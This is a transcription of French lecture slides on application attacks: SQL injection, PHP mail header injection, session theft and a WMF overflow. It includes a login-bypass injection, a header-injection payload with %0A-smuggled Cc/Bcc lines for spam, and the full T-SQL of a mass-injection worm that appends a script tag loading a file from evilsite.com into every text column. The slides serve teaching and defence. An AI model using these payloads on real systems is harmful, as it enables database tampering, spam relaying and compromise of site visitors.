Untitled - Ensiwiki

Transcription

Untitled - Ensiwiki
Attaques applicatives
Attaques applicatives
•  Exploitation d une mauvaise programmation des applications
– Ne touche pas le serveur lui-même mais son utilisation/
configuration
•  Surtout populaire pour les sites webs/serveurs d applications
•  Attaques principales
– Injection de code
• Par faute logicielle, à ce niveau code interprété
– Exploitation d une mauvaise configuration
• Données indexées par google!
Injection de code
•  Amener l application à exécuter du code soumis par
l attaquant
– Possible car
• contrôle insuffisant des paramètres
• Mauvaise utilisation des paramètres
•  Attaque reine
– SQL Injection
Injection SQL
•  Les paramètres fournis contiennent des expressions SQL
•  Exemple
– Formulaire de login avec deux champs name et password
– Requête pour vérifier si l utilisateur existe
– SELECT uid WHERE name = 'Dupont' AND password =
'45723a2af3788c4ff17f8d1114760e62'"
– Si un attaquant s appelle Dupont --"
– La requête devient"
– SELECT uid WHERE name = 'Dupont -- ' AND password =
'45723a2af3788c4ff17f8d1114760e62'"
– Ce qui est toujours vrai..."
Injection SQL physique :-)
Autres injections
•  Tout ce qui est interprété
– PHP, Ruby, Perl pour les CGI,...
•  Solutions
– Tester les paramètres
– Ne pas les évaluer
• Il n y a aucune raison pour cela!
– Mauvaise pratique de programmation
• Application aux injections SQL
Injection PHP
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
<form method="POST" action="mailing.php">
A: [email protected]
De: <input type="text" name="expediteur">
Sujet : <input type="text" name="sujet">
Message : <textarea name="message" rows="10" cols="60" lines="20"></textarea>
<input type="submit" name="send" value="Envoyer">
</form>
<?php
// mailing.php :
$to="[email protected]";
$from=$_POST["expediteur"];
if (mail($to,$_POST["sujet"],$_POST["message"],"From: $from\n")){
echo "Votre mail a bien été envoyé à $to";
}else{
echo "Votre mail n'a pas pu être envoyé.";
}
?>
Injection PHP (2)
• 
• 
• 
• 
Attaque :
From: (expediteur) -> "[email protected]%0ACc:
[email protected]%0ABcc:[email protected],[email protected]"
Subject: (sujet) -> "Ceci est mon sujet"
(message) -> "Un message"
• 
• 
• 
• 
• 
• 
Le mail envoyé est
To: [email protected]
Subject: Ceci est mon sujet
From: [email protected]
Cc:[email protected]
Bcc:[email protected],[email protected]
• 
Un message
•  Et donc envoi de spams possible en utilisant le formulaire
Attaque sur les clients
•  Buts des attaquants
–  Compromettre la machine (zombifier)
–  Voler les données (typiquement banquaires)
•  Normalement, pas de services ouverts
–  Ou alors problème de configuration!
–  Quelles portes d entrée ?
•  Les applications!
–  Pleines de bugs prêts à être exploités!
–  Portes d entrée vers le système et ses bibliothèques
•  Comment exploiter ces bugs ?
–  L attaquant doit contrôler ce qui est fourni aux applications
Attaque sur les clients (2)
•  Applications visées
– Mailer
– Browser web
• Ce sont des machines virtuelles donc faciles à
programmer
– Suites applicatives
• Souvent avec des langages inclus
•  Vecteurs d attaques
– Pages webs
– Mails
– documents
Attaque sur les clients (3)
•  Amener les clients à accéder aux données des attaquants
– Adresse web à suivre
– Documents à ouvrir
– ...
•  Techniques de social engineering
– il faut que les messages soient suffisamment alléchants
Attaque sur les clients (4)
•  Attaques par les réseaux aussi
– Prendre des données et/ou des droits
•  Vol de session
– Objectif de l attaquant : usurper l utilisateur après son
authentification
•  Sessions stockées de différentes manières
– @IP : inadaptée au NAT, vol par déconnexion
– Cookie : vol si communication espionnée
– Identificateur de session stocké dans l URL
–  http://www.amazon.fr/gp/feature.html/ref=amb_link_81475465_2?
ie=UTF8&docId=1000227633&pf_rd_m=A1X6FK5RDHNB96&pf_rd_s=center-0&pf_rd_r=15MZY44EMKJ
VFARAJYS4&pf_rd_t=101&pf_rd_p=463993173&pf_rd_i=405320
À peu près 500000 sites
victimes
La faille de la semaine
•  SQL injection « générique » pour IIS, ADO, SQL Server avec
ASP
•  Causes
– Programmeurs peu expérimentés (pas de tests des
paramètres)
– « Puissance » de la chaîne logicielle qui permet d injecter un
code compliqué
•  Conséquences
– Infection automatique de la base de données
– Ajout d un javascript qui sera chargé par tous les clients
•  Compromission des clients
•  Fusée à deux étages : exploitation
La faille de la semaine (2), le
code de l exploit
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
• 
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
La faille de la semaine
•  Buffer overflow dans l affichage des images
– Sous windows
– Format WMF
•  Conséquences
– Compromission totale de la machine
– Avec les droits de l utilisateur
•  Vecteur d attaque
– Tout moyen d afficher une image
•  Historique
– Publié à Noël 2005
– A provoqué l apparition d un patch hors timing